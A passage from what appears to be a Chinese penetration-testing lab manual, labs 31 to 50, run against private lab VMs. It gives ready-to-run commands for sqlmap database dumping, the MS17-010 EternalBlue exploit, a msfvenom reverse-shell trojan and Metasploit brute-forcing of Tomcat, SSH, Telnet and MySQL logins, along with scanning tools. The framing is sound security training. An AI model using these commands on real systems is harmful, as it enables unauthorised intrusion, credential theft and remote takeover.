跑出指定数据库中的数据:
sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T tablename --dump
跑出admin的哈希值:
sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T admin_table --dump
实验总结
Sqlmap是注入非常强大的工具,需要熟练掌握其使用方法。
实验 32 数据库评估-Sqlsus
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Sqlsus工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机 Kali 2016
靶机 Windows 7 + mysqltest
实验工具
Sqlsus
实验目的
掌握常用的数据库评估软件用法
实验步骤
使用Sqlsus进行数据库评估
访问简易测试网页:http://192.168.163.134/mysqltest/mysqltest/index.php?age=25
在终端输入以下命令启动Sqlsus:
sqlsus
生成配置文件:
sqlsus --wizard
修改生成的配置文件,定位到
url_start
,输入需要检测的URL地址。启动Sqlsus,使用
start
发起获取数据库信息:sqlsus -config-file path/to/config/file.conf --url-start
可以使用
help
查看更多命令。获取表:
sqlsus -config-file path/to/config/file.conf --get tables
获取表中的列名:
sqlsus -config-file path/to/config/file.conf --get columns
获取admin表的内容:
sqlsus -config-file path/to/config/file.conf --dump "select * from admin"
实验总结
掌握Sqlsus软件的使用。
实验 33 网络嗅探-Tcpdump
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Tcpdump工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
实验工具
tcpdump
实验目的
使用tcpdump工具捕获数据包
实验步骤
直接启动tcpdump将监视第一个网络接口上所有流过的数据包
tcpdump
指定网络接口进行抓包
tcpdump -i eth0
监听指定主机或ip地址的数据包
tcpdump host 192.168.1.1
监听主机或ip所发送的所有数据包
tcpdump src host 192.168.1.1
监听主机或ip所接收的所有数据包
tcpdump dst host 192.168.1.1
监听指定主机或ip地址之间的数据包
tcpdump src host 192.168.1.1 and dst host 192.168.1.2
再开一个终端,ping本机的网关,我们需要通过tcpdump工具进行抓包
参数详解
-a
:尝试将网络和广播地址转换成名称;-c <数据包数目>
:收到指定的数据包数目后,就停止进行倾倒操作;-d
:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出;-dd
:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出;-ddd
:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出;-e
:在每列倾倒资料上显示连接层级的文件头;-f
:用数字显示网际网络地址;-F <表达文件>
:指定内含表达方式的文件;-i <网络界面>
:使用指定的网络截面送出数据包;-l
:使用标准输出列的缓冲区;-n
:不把主机的网络地址转换成名字;-N
:不列出域名;-O
:不将数据包编码最佳化;-p
:不让网络界面进入混杂模式;-q
:快速输出,仅列出少数的传输协议信息;-r <数据包文件>
:从指定的文件读取数据包数据;-s <数据包大小>
:设置每个数据包的大小;-S
:用绝对而非相对数值列出TCP关联数;-t
:在每列倾倒资料上不显示时间戳记;-tt
:在每列倾倒资料上显示未经格式化的时间戳记;-T <数据包类型>
:强制将表达方式所指定的数据包转译成设置的数据包类型;-v
:详细显示指令执行过程;-vv
:更详细显示指令执行过程;-x
:用十六进制字码列出数据包资料;-w <数据包文件>
:把数据包数据写入指定的文件。
实验总结
使用Tcpdump抓取特定的协议报文
实验34 MS17_010漏洞复现
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器复现MS17_010漏洞,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机 kali 2018 ip地址:192.168.163.152
靶机 windows 7 ip地址:192.168.163.134
实验工具
无
实验目的
metasploit利用ms17_010去攻击靶机
实验步骤
在kali终端中输入msfconsole启动metasploit
msfconsole
启动后搜索漏洞相关的模块
search ms17_010
先利用扫描模块对win 7 靶机进行扫描,检测看是否存在漏洞
use auxiliary/scanner/smb/smb_ms17_010
使用该模块后设置目标IP或者IP段
set RHOSTS 192.168.163.134
执行扫描
run
使用ms17_010漏洞模块对靶机进行攻击
use exploit/windows/smb/ms17_010_eternalblue
查看可设置的选项
show options
设置靶机目标ip
set RHOST 192.168.163.134
执行攻击
run
实验总结
因为MS17_010是近几年新爆出的漏洞,所以还有很多用户没有升级打补丁,在内网可以进行检测看还有没有主机存在漏洞
实验35 Web应用指纹识别器-Whatweb
实验场景
小明是网络工程师,某
天他收到上级领导命令,需要在kali服务器使用Whatweb工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016 192.168.21.128
实验工具
whatweb
实验目的
掌握whatweb的使用
实验步骤
在终端直接启动whatweb软件
whatweb
查看whatweb版本号
whatweb --version
查看有哪些可用的插件
whatweb --l
使用whatweb识别网站的指纹
whatweb --target http://www.baidu.com
对当个目标进行简单的探测
whatweb http://127.0.0.1
实验总结
掌握使用Whatweb对web服务器进行嗅探测试
实验 36 端口扫描之-Nmap
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Nmap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali
靶机:centos 6.9
靶机ip地址:192.168.163.136
实验工具
Nmap
实验目的
掌握nmap端口扫描
实验步骤
查看kali自带nmap的版本号
nmap -V
nmap的ping扫描本网段存活的主机(ip地址后面加掩码即扫描本网段)
nmap -sP 192.168.163.0/24
nmap的SYN半开放扫描
nmap -sS 192.168.163.136/24
nmap的TCP扫描
nmap -sT 192.168.163.136
nmap扫描靶机所有开放端口
nmap -p- 192.168.163.136
nmap扫描靶机特定端口 22 和 80 和 8080
nmap -p 22,80,8080 192.168.163.136
nmap识别系统信息扫描
nmap -O 192.168.163.136
nmap的批量扫描 - iL 从ip文本中导入扫描
nmap -sS -iL ip.txt
实验总结
区分NMAP不同参数的使用,牢记常用的参数
实验 37 服务枚举-Amap
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Amap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali
靶机:centos 6.9 ip地址:192.168.163.132
实验工具
zmap
实验目的
掌握amzp的使用
实验步骤
启动amap查看帮助信息
amap -b -q 192.168.163.132 22
还能设置端口的范围段
amap -b -q 192.168.163.132 1-100
实验总结
思考Amzp是获取服务器的banner来获取服务器的信息,能想到有什么劣势吗。
实验38 Metasploit-msfvenom生成payload实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali上生成一个木马文件,当centos服务器上执行这个文件时,会反弹shell到kali上,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
centos 6.9
实验工具
Metasploit
ftp
实验目的
使用metasploit生成木马文件,在centos执行文件时拿到shell
实验步骤
在kali虚拟机上测试与靶机的连通性
ping 192.168.127.137 -c 4
在靶机centos上测试与kali的连通性
ping 192.168.127.138 -c 4
在kali上使用shell马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.127.138 LPORT=4444 -f elf > shell
启动msfconsole
在kali中启动监听
Run
通过ftp把生成的文件传到靶机上,在靶机上先给文件权限再运行文件
输入shell查看权限
Shell
实验总结
掌握使用kali下的metasploit生成木马文件,在centos执行文件时拿到shell
实验 39 通用密码生成器-Crunch
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Crunch工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
实验工具
crunch
实验目的
掌握kali下crunch工具的使用
实验步骤
Crunch是一款密码生成工具,能按照要求生成一个密码文件,用于暴力破解。
在终端直接输入
crunch --h
查看 Crunch 帮助信息。生成的密码格式为:
crunch <min> <max> [options]
。这里我们使用不添加任何参数来生成密码:crunch 1 4
这会生成最少位数为 1 位,最大为 4 位的密码,由 26 个小写字母组成。
把字典保存成txt文件:
crunch 1 4 -o passwd.txt
制作以 189 开头的手机号密码字典:
crunch 11 11 +0123456789 -t 188%%%%%%%% -o num.txt
生成六位数小写字母密码,其中前四位为 “pass”:
crunch 6 6 -t pass@@ -o passwd.txt
生成六位密码,其中前四位为 “pass”,后两位为大写字母:
crunch 6 6 -t pass,, -o passwd.txt
生成六位密码,其中前四位为 “pass”,后两位为字符:
crunch 6 6 -t pass^^ -o passwd.txt
生成 4 位密码,其中格式为“两个数字” + “一个小写字母” + “常见符号”(其中数字这里被指定只能为 123 组成的所有 2 位数字组合):
crunch 4 4 + + 123 + -t %%@^
实验总结
掌握使用 Crunch 生成指定类型的密码文件。
实验40 Metasploit-xmas实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 xmas 扫描模块,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
靶机:centos 6.9
实验工具
Metasploit
实验目的
通过 xmas 模块来扫描靶机
实验步骤
在kali虚拟机上测试与靶机的连通性:
ping 192.168.127.139 -c 4
在靶机 centos 上测试与 kali 的连通性:
ping 192.168.127.140 -c 4
在 kali 上启动 Metasploit:
msfconsole
使用 xmas 模块:
use auxiliary/scanner/portscan/xmas
查看其它选项:
show options
设置靶机地址:
set rhosts 192.168.127.139
设置线程为 20:
set threads 20
开始扫描:
run
实验总结
掌握 Metasploit 下的 xmas 扫描靶机实验。
实验41 Metasploit-tcp实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 TCP 方式去进行扫描,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
靶机:centos 6.9
实验工具
Metasploit
实验目的
通过 TCP 模块来扫描靶机
实验步骤
在kali虚拟机上测试与靶机的连通性:
ping 192.168.127.139 -c 4
在靶机 centos 上测试与 kali 的连通性:
ping 192.168.127.140 -c 4
在 kali 上启动 Metasploit:
msfconsole
使用 TCP 模块:
use auxiliary/scanner/portscan/tcp
查看其它选项:
show options
设置靶机地址:
set rhosts 192.168.127.139
设置线程为 20:
set threads 20
开始扫描:
run
实验总结
掌握 Metasploit 下的使用 TCP 扫描。
实验42 Metasploit-syn实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 SYN 方式去进行扫描,为避免在部署时候出现什么问题,小明
首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
靶机:centos 6.9
实验工具
Metasploit
实验目的
通过 SYN 模块来扫描靶机
实验步骤
通过 SYN 方式对防火墙上未被屏蔽的端口进行探测。
在kali虚拟机上测试与靶机的连通性:
ping 192.168.127.139 -c 4
在靶机 centos 上测试与 kali 的连通性:
ping 192.168.127.140 -c 4
在 kali 上启动 Metasploit:
msfconsole
使用 SYN 模块:
use auxiliary/scanner/portscan/syn
查看其它选项:
show options
设置靶机地址:
set rhosts 192.168.127.139
设置线程为 20:
set threads 20
开始扫描:
run
实验总结
观察使用 SYN 扫描时,扫描的结果跟 TCP 和 UDP 扫描的方式有什么不同。
实验43 Metasploit-ack实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 ACK 方式去进行扫描,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
靶机:centos 6.9
实验工具
Metasploit
实验目的
通过 ACK 模块来扫描靶机
实验步骤
通过 ACK 方式对防火墙上未被屏蔽的端口进行探测。
在kali虚拟机上测试与靶机的连通性:
ping 192.168.127.139 -c 4
在靶机 centos 上测试与 kali 的连通性:
ping 192.168.127.140 -c 4
在 kali 上启动 Metasploit:
msfconsole
使用 ACK 模块:
use auxiliary/scanner/portscan/ack
查看其它选项:
show options
设置靶机地址:
set rhosts 192.168.127.139
设置线程为 20:
set threads 20
开始扫描:
run
实验总结
观察当使用 ACK 扫描时,扫描的结果跟 TCP 和 UDP 扫描的方式有什么不同。
实验44 Metasploit-tomcat爆破实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 metasploit 去爆破 Tomcat 的登录密码,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali 2016
靶机:centos 6.9
实验工具
Metasploit, Tomcat
实验目的
使用 Metasploit 下的 tomcat 爆破模块对 Tomcat 账户进行爆破
实验步骤
在kali虚拟机上测试与靶机的连通性:
ping 192.168.127.137 -c 4
在靶机 centos 上测试与 kali 的连通性:
ping 192.168.127.138 -c 4
在 kali 上启动 Metasploit:
msfconsole
搜索有效的 Tomcat 模块:
search tomcat
这里选择使用模块
auxiliary/scanner/http/tomcat_mgr_login
:use auxiliary/scanner/http/tomcat_mgr_login
查看 tomcat_mgr_login 模块有效选项:
show options
指定用户名和密码文件,这里使用默认路径:
set user_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt set pass_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
指定要攻击的目标服务器:
set rhosts 192.168.127.137
设置服务器端口号为 8080:
set rport 8080
设置当渗透成功时停止:
set stop_on_success true
运行攻击爆破成功密码:
run
实验总结
掌握 Metasploit 下 tomcat 爆破方法的使用,对比 medusa 爆破速度上的区别。
实验 45 路由信息探测-Traceroute
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Traceroute 工具,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
实验工具
traceroute
实验目的
了解路由的概念和工作原理,掌握 Linux 下探测路由工具 Traceroute 的使用方法。
实验步骤
路由是信息从源穿过网络传递到目的地的行为,在传播路径中至少经过一个中间节点。Traceroute 通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备 Traceroute 要测 3 次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其 IP 地址。
打开 Linux 终端,输入
traceroute
,查看使用语法。查看本机 IP 地址:
ifconfig
使用 Traceroute 来追踪本机的路由:
traceroute <本机IP>
把探测包的个数设置为值 8:
traceroute -q 8 <目标IP>
探测包使用的基本 UDP 端口设置为 6888:
traceroute -p 6888 <目标IP>
跳数设置:
traceroute -m 15 <目标IP>
把对外发探测包的等待响应时间设置为 3 秒:
traceroute -w 3 <目标IP>
实验总结
掌握使用 Traceroute 工具去探测路由信息。
实验46 Metasploit之SNMP信息扫描
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 SNMP 扫描,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
靶机:待补充
实验工具
Metasploit, SNMP
实验目的
在 Metasploit 中利用 SNMP 进行信息扫描。
实验步骤
在 Kali 终端中启动 Metasploit:
msfconsole
搜索当前系统内可用 SNMP 扫描模块:
search snmp
使用 SNMP 扫描模块:
use auxiliary/scanner/snmp/snmp_enum
查看该模块的有效选项:
show options
设置扫描范围:
set RHOSTS 192.168.1.0/24
设置扫描线程:
set THREADS 10
使用
run
或exploit
开始运行扫描:run
实验总结
在设置必选项目外其它的一些非必选项看看是什么意思。
实验47 Metasploit之利用nmap扫描端口
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 nmap 扫描,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
靶机:待补充
实验工具
Metasploit
实验目的
在 Metasploit 中利用 nmap 扫描端口。
实验步骤
在 Kali 终端中启动 Metasploit:
msfconsole
检查 Metasploit 数据库是否启动(Kali 需要手动启动 PostgreSQL 数据库):
db_status
载入追踪者插件:
load db_tracker
启动 nmap 扫描并将结果存进数据库:
db_nmap –sV –O –v –T 5 192.168.1.0/24
查看扫描过的主机,可以看到已经识别出的操作系统:
hosts
实验总结
在 Metasploit 下的 nmap 扫描和在终端下的 nmap 扫描结果是否一样。
实验48 Metasploit之SSH爆破模块
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 SSH 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
靶机:待补充
实验工具
Metasploit
实验目的
掌握 Metasploit 下 SSH 爆破模
块的使用。
实验步骤
在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:
ping 192.168.1.1 -c 4
使用命令搜索 SSH 登录相关的模块:
search ssh_login
利用 SSH 爆破模块:
use auxiliary/scanner/ssh/ssh_login
查看在该模块下需要设置的参数:
show options
根据提示使用
set
语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:set RHOSTS 192.168.1.1 set USER_FILE /path/to/usernames.txt set PASS_FILE /path/to/passwords.txt
发起攻击:
run
成功爆破得到 SSH 用户名和密码,进行结果验证:
ssh <target_address>
实验总结
在 Metasploit 框架下的 SSH 爆破相比 Medusa 是否更具有优势。
实验49 Metasploit-Telnet爆破
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 Telnet 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
靶机:待补充
实验工具
Metasploit
实验目的
掌握 Metasploit 下 Telnet 爆破模块的使用。
实验步骤
在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:
ping 192.168.1.1 -c 4
使用命令搜索 Telnet 登录相关的模块:
search telnet_login
利用 Telnet 爆破模块:
use auxiliary/scanner/telnet/telnet_login
查看在该模块下需要设置的参数:
show options
根据提示使用
set
语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:set RHOSTS 192.168.1.1 set USER_FILE /path/to/usernames.txt set PASS_FILE /path/to/passwords.txt
发起攻击:
run
成功爆破得到 Telnet 用户名和密码,进行结果验证:
telnet <target_address>
实验总结
思考在设置爆破进程数的时候如何考虑进程大小。
实验50 Metasploit-Mysql爆破
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 MySQL 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:Kali 2016
靶机:待补充
实验工具
Metasploit
实验目的
掌握 Metasploit 下 MySQL 爆破模块的使用。
实验步骤
在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:
ping 192.168.1.1 -c 4
使用命令搜索 MySQL 登录相关的模块:
search mysql_login
利用 MySQL 爆破模块:
use auxiliary/scanner/mysql/mysql_login
查看在该模块下需要设置的参数:
show options
根据提示使用
set
语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:set RHOSTS 192.168.1.1 set USER_FILE /path/to/usernames.txt set PASS_FILE /path/to/passwords.txt
发起攻击:
run
成功爆破得到 MySQL 用户名和密码,进行结果验证:
mysql -h <target_address> -u <username> -p
实验总结
思考 MySQL 爆破日志,在数据库日志文件能不能查看。